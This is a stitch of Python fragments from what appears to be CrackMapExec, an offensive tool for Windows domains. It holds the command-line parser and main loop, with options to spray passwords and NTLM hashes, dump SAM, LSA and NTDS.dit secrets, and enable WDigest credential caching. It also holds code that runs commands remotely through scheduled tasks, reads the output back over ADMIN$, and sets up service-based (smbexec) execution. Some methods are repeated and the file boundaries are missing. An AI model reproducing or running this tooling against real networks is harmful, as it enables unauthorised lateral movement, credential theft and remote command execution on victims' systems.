FQDN(s) or file(s) containg a list of targets" ) parser.add_argument( "-t", type=int, dest="threads", default=100, help="Set how many concurrent threads to use (default: 100)") parser.add_argument( '-id', metavar="CRED_ID", nargs='+', default=[], type=str, dest='cred_id', help='Database credential ID(s) to use for authentication') parser.add_argument("-u", metavar="USERNAME", dest='username', nargs='+', default=[], help="Username(s) or file(s) containing usernames") ddgroup = parser.add_mutually_exclusive_group() ddgroup.add_argument("-d", metavar="DOMAIN", dest='domain', type=str, help="Domain name") ddgroup.add_argument("--local-auth", action='store_true', help='Authenticate locally to each target') msgroup = parser.add_mutually_exclusive_group() msgroup.add_argument("-p", metavar="PASSWORD", dest='password', nargs='+', default=[], help="Password(s) or file(s) containing passwords") msgroup.add_argument( "-H", metavar="HASH", dest='hash', nargs='+', default=[], help='NTLM hash(es) or file(s) containing NTLM hashes') mcgroup = parser.add_mutually_exclusive_group() mcgroup.add_argument("-M", "--module", metavar='MODULE', help='Payload module to use') mcgroup.add_argument('-MC', '--module-chain', metavar='CHAIN_COMMAND', help='Payload module chain command string to run') parser.add_argument('-o', metavar='MODULE_OPTION', nargs='+', default=[], dest='module_options', help='Payload module options') parser.add_argument('-L', '--list-modules', action='store_true', help='List available modules') parser.add_argument('--show-options', action='store_true', help='Display module options') parser.add_argument("--share", metavar="SHARE", default="C$", help="Specify a share (default: C$)") parser.add_argument("--smb-port", type=int, choices={139, 445}, default=445, help="SMB port (default: 445)") parser.add_argument("--mssql-port", default=1433, type=int, metavar='PORT', help='MSSQL port (default: 1433)') parser.add_argument("--server", choices={'http', 'https'}, default='https', help='Use the selected server (default: https)') parser.add_argument("--server-host", type=str, default='0.0.0.0', metavar='HOST', help='IP to bind the server to (default: 0.0.0.0)') parser.add_argument("--server-port", metavar='PORT', type=int, help='Start the server on the specified port') parser.add_argument( "--timeout", default=20, type=int, help='Max timeout in seconds of each thread (default: 20)') fail_group = parser.add_mutually_exclusive_group() fail_group.add_argument("--gfail-limit", metavar='LIMIT', type=int, help='Max number of global failed login attempts') fail_group.add_argument( "--ufail-limit", metavar='LIMIT', type=int, help='Max number of failed login attempts per username') fail_group.add_argument( "--fail-limit", metavar='LIMIT', type=int, help='Max number of failed login attempts per host') parser.add_argument("--verbose", action='store_true', help="Enable verbose output") rgroup = parser.add_argument_group("Credential Gathering", "Options for gathering credentials") rgroup.add_argument("--sam", action='store_true', help='Dump SAM hashes from target systems') rgroup.add_argument("--lsa", action='store_true', help='Dump LSA secrets from target systems') rgroup.add_argument( "--ntds", choices={'vss', 'drsuapi'}, help= "Dump the NTDS.dit from target DCs using the specifed method\n(drsuapi is the fastest)" ) rgroup.add_argument("--ntds-history", action='store_true', help='Dump NTDS.dit password history') rgroup.add_argument( "--ntds-pwdLastSet", action='store_true', help='Shows the pwdLastSet attribute for each NTDS.dit account') rgroup.add_argument( "--wdigest", choices={'enable', 'disable'}, help= "Creates/Deletes the 'UseLogonCredential' registry key enabling WDigest cred dumping on Windows >= 8.1" ) egroup = parser.add_argument_group("Mapping/Enumeration", "Options for Mapping/Enumerating") egroup.add_argument("--shares", action="store_true", help="Enumerate shares and access") egroup.add_argument('--uac', action='store_true', help='Checks UAC status') egroup.add_argument("--sessions", action='store_true', help='Enumerate active sessions') egroup.add_argument('--disks', action='store_true', help='Enumerate disks') egroup.add_argument("--users", action='store_true', help='Enumerate users') egroup.add_argument( "--rid-brute", nargs='?', const=4000, metavar='MAX_RID', help='Enumerate users by bruteforcing RID\'s (default: 4000)') egroup.add_argument("--pass-pol", action='store_true', help='Dump password policy') egroup.add_argument("--lusers", action='store_true', help='Enumerate logged on users') egroup.add_argument("--wmi", metavar='QUERY', type=str, help='Issues the specified WMI query') egroup.add_argument("--wmi-namespace", metavar='NAMESPACE', default='//./root/cimv2', help='WMI Namespace (default: //./root/cimv2)') sgroup = parser.add_argument_group("Spidering", "Options for spidering shares") sgroup.add_argument("--spider", metavar='FOLDER', nargs='?', const='.', type=str, help='Folder to spider (default: root directory)') sgroup.add_argument("--content", action='store_true', help='Enable file content searching') sgroup.add_argument("--exclude-dirs", type=str, metavar='DIR_LIST', default='', help='Directories to exclude from spidering') esgroup = sgroup.add_mutually_exclusive_group() esgroup.add_argument( "--pattern", nargs='+', help='Pattern(s) to search for in folders, filenames and file content') esgroup.add_argument( "--regex", nargs='+', help='Regex(s) to search for in folders, filenames and file content') sgroup.add_argument("--depth", type=int, default=10, help='Spider recursion depth (default: 10)') cgroup = parser.add_argument_group("Command Execution", "Options for executing commands") cgroup.add_argument( '--exec-method', choices={"wmiexec", "smbexec", "atexec"}, default=None, help= "Method to execute the command. Ignored if in MSSQL mode (default: wmiexec)" ) cgroup.add_argument( '--force-ps32', action='store_true', help='Force the PowerShell command to run in a 32-bit process') cgroup.add_argument('--no-output', action='store_true', help='Do not retrieve command output') xxxgroup = cgroup.add_mutually_exclusive_group() xxxgroup.add_argument("-x", metavar="COMMAND", dest='execute', help="Execute the specified command") xxxgroup.add_argument("-X", metavar="PS_COMMAND", dest='ps_execute', help='Execute the specified PowerShell command') mgroup = parser.add_argument_group( "MSSQL Interaction", "Options for interacting with MSSQL DBs") mgroup.add_argument( "--mssql", action='store_true', help= 'Switches CME into MSSQL Mode. If credentials are provided will authenticate against all discovered MSSQL DBs' ) mgroup.add_argument("--mssql-query", metavar='QUERY', type=str, help='Execute the specifed query against the MSSQL DB') mgroup.add_argument( "--mssql-auth", choices={'windows', 'normal'}, default='windows', help='MSSQL authentication type to use (default: windows)') logger = CMEAdapter(setup_logger()) first_run_setup(logger) if len(sys.argv) == 1: parser.print_help() sys.exit(1) cme_path = os.path.expanduser('~/.cme') module = None chain_list = None server = None context = None smb_server = None share_name = gen_random_string(5).upper() targets = [] args = parser.parse_args() if args.verbose: setup_debug_logger() logging.debug('Passed args:\n' + pformat(vars(args))) db_path = os.path.join(cme_path, 'cme.db') # set the database connection to autocommit w/ isolation level db_connection = sqlite3.connect(db_path, check_same_thread=False) db_connection.text_factory = str db_connection.isolation_level = None db = CMEDatabase(db_connection) if args.username: for user in args.username: if os.path.exists(user): args.username.remove(user) args.username.append(open(user, 'r')) if args.password: for passw in args.password: if os.path.exists(passw): args.password.remove(passw) args.password.append(open(passw, 'r')) elif args.hash: for ntlm_hash in args.hash: if os.path.exists(ntlm_hash): args.hash.remove(ntlm_hash) args.hash.append(open(ntlm_hash, 'r')) if args.cred_id: for cred_id in args.cred_id: if '-' in str(cred_id): start_id, end_id = cred_id.split('-') try: for n in range(int(start_id), int(end_id) + 1): args.cred_id.append(n) args.cred_id.remove(cred_id) except Exception as e: logger.error( 'Error parsing database credential id: {}'.format(e)) sys.exit(1) for target in args.target: if os.path.exists(target): with open(target, 'r') as target_file: for target_entry in target_file: targets.extend(parse_targets(target_entry)) else: targets.extend(parse_targets(target)) if args.list_modules: loader = ModuleLoader(args, db, logger) modules = loader.get_modules() for m in modules: logger.info('{:<25} Chainable: {:<10} {}'.format( m, str(modules[m]['chain_support']), modules[m]['description'])) sys.exit(0) elif args.module and args.show_options: loader = ModuleLoader(args, db, logger) modules = loader.get_modules() for m in modules.keys(): if args.module.lower() == m.lower(): logger.info('{} module options:\n{}'.format( m, modules[m]['options'])) sys.exit(0) if args.execute or args.ps_execute or args.module or args.module_chain: if os.geteuid() != 0: logger.error( "I'm sorry {}, I'm afraid I can't let you do that (cause I need root)" .format(getuser())) sys.exit(1) loader = ModuleLoader(args, db, logger) modules = loader.get_modules() smb_server = CMESMBServer(logger, share_name, args.verbose) smb_server.start() if args.module: for m in modules.keys(): if args.module.lower() == m.lower(): module, context, server = loader.init_module( modules[m]['path']) elif args.module_chain: chain_list, server = ModuleChainLoader(args, db, logger).init_module_chain() try: ''' Open all the greenlet (as supposed to redlet??) threads Whoever came up with that name has a fetish for traffic lights ''' pool = Pool(args.threads) jobs = [ pool.spawn(Connection, args, db, str(target), module, chain_list, server, share_name) for target in targets ] #Dumping the NTDS.DIT and/or spidering shares can take a long time, so we ignore the thread timeout if args.ntds or args.spider: joinall(jobs) elif not args.ntds: for job in jobs: job.join(timeout=args.timeout) except KeyboardInterrupt: pass if server: server.shutdown() if smb_server: smb_server.shutdown() logger.info('KTHXBYE!')
def __init__(self, smbconnection, logger): self.smbconnection = smbconnection self.logger = logger self.permissions = {} self.root = ntpath.normpath("\\" + gen_random_string())
def options(self, context, module_options): ''' ''' self.obfs_name = gen_random_string()
def doStuff(self, command, fileless=False): dce = self.__rpctransport.get_dce_rpc() dce.set_credentials(*self.__rpctransport.get_credentials()) dce.connect() #dce.set_auth_level(ntlm.NTLM_AUTH_PKT_PRIVACY) dce.bind(tsch.MSRPC_UUID_TSCHS) tmpName = gen_random_string(8) tmpFileName = tmpName + '.tmp' xml = self.gen_xml(command, tmpFileName, fileless) #logging.info("Task XML: {}".format(xml)) taskCreated = False logging.info('Creating task \\%s' % tmpName) tsch.hSchRpcRegisterTask(dce, '\\%s' % tmpName, xml, tsch.TASK_CREATE, NULL, tsch.TASK_LOGON_NONE) taskCreated = True logging.info('Running task \\%s' % tmpName) tsch.hSchRpcRun(dce, '\\%s' % tmpName) done = False while not done: logging.debug('Calling SchRpcGetLastRunInfo for \\%s' % tmpName) resp = tsch.hSchRpcGetLastRunInfo(dce, '\\%s' % tmpName) if resp['pLastRuntime']['wYear'] != 0: done = True else: sleep(2) logging.info('Deleting task \\%s' % tmpName) tsch.hSchRpcDelete(dce, '\\%s' % tmpName) taskCreated = False if taskCreated is True: tsch.hSchRpcDelete(dce, '\\%s' % tmpName) if self.__retOutput: if fileless: while True: try: with open( os.path.join('/tmp', 'cme_hosted', tmpFileName), 'r') as output: self.output_callback(output.read()) break except IOError: sleep(2) else: peer = ':'.join( map(str, self.__rpctransport.get_socket().getpeername())) smbConnection = self.__rpctransport.get_smb_connection() while True: try: #logging.info('Attempting to read ADMIN$\\Temp\\%s' % tmpFileName) smbConnection.getFile('ADMIN$', 'Temp\\%s' % tmpFileName, self.output_callback) break except Exception as e: if str(e).find('SHARING') > 0: sleep(3) elif str(e).find('STATUS_OBJECT_NAME_NOT_FOUND') >= 0: sleep(3) else: raise #logging.debug('Deleting file ADMIN$\\Temp\\%s' % tmpFileName) smbConnection.deleteFile('ADMIN$', 'Temp\\%s' % tmpFileName) dce.disconnect()
def doStuff(self, command, fileless=False): dce = self.__rpctransport.get_dce_rpc() dce.set_credentials(*self.__rpctransport.get_credentials()) dce.connect() #dce.set_auth_level(ntlm.NTLM_AUTH_PKT_PRIVACY) dce.bind(tsch.MSRPC_UUID_TSCHS) tmpName = gen_random_string(8) tmpFileName = tmpName + '.tmp' xml = self.gen_xml(command, tmpFileName, fileless) #logging.info("Task XML: {}".format(xml)) taskCreated = False logging.info('Creating task \\%s' % tmpName) tsch.hSchRpcRegisterTask(dce, '\\%s' % tmpName, xml, tsch.TASK_CREATE, NULL, tsch.TASK_LOGON_NONE) taskCreated = True logging.info('Running task \\%s' % tmpName) tsch.hSchRpcRun(dce, '\\%s' % tmpName) done = False while not done: logging.debug('Calling SchRpcGetLastRunInfo for \\%s' % tmpName) resp = tsch.hSchRpcGetLastRunInfo(dce, '\\%s' % tmpName) if resp['pLastRuntime']['wYear'] != 0: done = True else: sleep(2) logging.info('Deleting task \\%s' % tmpName) tsch.hSchRpcDelete(dce, '\\%s' % tmpName) taskCreated = False if taskCreated is True: tsch.hSchRpcDelete(dce, '\\%s' % tmpName) if self.__retOutput: if fileless: while True: try: with open(os.path.join('/tmp', 'cme_hosted', tmpFileName), 'r') as output: self.output_callback(output.read()) break except IOError: sleep(2) else: peer = ':'.join(map(str, self.__rpctransport.get_socket().getpeername())) smbConnection = self.__rpctransport.get_smb_connection() while True: try: #logging.info('Attempting to read ADMIN$\\Temp\\%s' % tmpFileName) smbConnection.getFile('ADMIN$', 'Temp\\%s' % tmpFileName, self.output_callback) break except Exception as e: if str(e).find('SHARING') > 0: sleep(3) elif str(e).find('STATUS_OBJECT_NAME_NOT_FOUND') >= 0: sleep(3) else: raise #logging.debug('Deleting file ADMIN$\\Temp\\%s' % tmpFileName) smbConnection.deleteFile('ADMIN$', 'Temp\\%s' % tmpFileName) dce.disconnect()
def __init__(self, connection): self.smbconnection = connection.conn self.logger = connection.logger self.permissions = {} self.root = ntpath.normpath("\\" + gen_random_string())
def __init__(self, host, protocol, username='', password='', domain='', hashes=None, share=None, port=445): self.__host = host self.__port = port self.__username = username self.__password = password self.__serviceName = gen_random_string() self.__domain = domain self.__lmhash = '' self.__nthash = '' self.__share = share self.__output = None self.__batchFile = None self.__outputBuffer = '' self.__shell = '%COMSPEC% /Q /c ' self.__retOutput = False self.__rpctransport = None self.__scmr = None self.__conn = None #self.__mode = mode #self.__aesKey = aesKey #self.__doKerberos = doKerberos if hashes is not None: #This checks to see if we didn't provide the LM Hash if hashes.find(':') != -1: self.__lmhash, self.__nthash = hashes.split(':') else: self.__nthash = hashes if self.__password is None: self.__password = '' stringbinding = 'ncacn_np:%s[\pipe\svcctl]' % self.__host logging.debug('StringBinding %s' % stringbinding) self.__rpctransport = transport.DCERPCTransportFactory(stringbinding) self.__rpctransport.set_dport(self.__port) if hasattr(self.__rpctransport, 'setRemoteHost'): self.__rpctransport.setRemoteHost(self.__host) if hasattr(self.__rpctransport, 'set_credentials'): # This method exists only for selected protocol sequences. self.__rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) #rpctransport.set_kerberos(self.__doKerberos, self.__kdcHost) self.__scmr = self.__rpctransport.get_dce_rpc() self.__scmr.connect() s = self.__rpctransport.get_smb_connection() # We don't wanna deal with timeouts from now on. s.setTimeout(100000) self.__scmr.bind(scmr.MSRPC_UUID_SCMR) resp = scmr.hROpenSCManagerW(self.__scmr) self.__scHandle = resp['lpScHandle'] self.transferClient = self.__rpctransport.get_smb_connection()
def __init__(self, host, protocol, username='', password='', domain='', hashes=None, share=None): self.__host = host self.__username = username self.__password = password self.__serviceName = gen_random_string() self.__domain = domain self.__lmhash = '' self.__nthash = '' self.__share = share self.__output = '\\Windows\\Temp\\' + gen_random_string() self.__batchFile = '%TEMP%\\' + gen_random_string() + '.bat' self.__outputBuffer = '' self.__shell = '%COMSPEC% /Q /c ' self.__retOutput = False self.__rpctransport = None self.__scmr = None self.__conn = None #self.__mode = mode #self.__aesKey = aesKey #self.__doKerberos = doKerberos if hashes is not None: #This checks to see if we didn't provide the LM Hash if hashes.find(':') != -1: self.__lmhash, self.__nthash = hashes.split(':') else: self.__nthash = hashes if self.__password is None: self.__password = '' protodef = SMBEXEC.KNOWN_PROTOCOLS['{}/SMB'.format(protocol)] port = protodef[1] stringbinding = protodef[0] % self.__host self.__rpctransport = transport.DCERPCTransportFactory(stringbinding) self.__rpctransport.set_dport(port) if hasattr(self.__rpctransport, 'preferred_dialect'): self.__rpctransport.preferred_dialect(SMB_DIALECT) if hasattr(self.__rpctransport, 'set_credentials'): # This method exists only for selected protocol sequences. self.__rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) #rpctransport.set_kerberos(self.__doKerberos) self.__scmr = self.__rpctransport.get_dce_rpc() self.__scmr.connect() s = self.__rpctransport.get_smb_connection() # We don't wanna deal with timeouts from now on. s.setTimeout(100000) self.__scmr.bind(scmr.MSRPC_UUID_SCMR) resp = scmr.hROpenSCManagerW(self.__scmr) self.__scHandle = resp['lpScHandle'] self.transferClient = self.__rpctransport.get_smb_connection()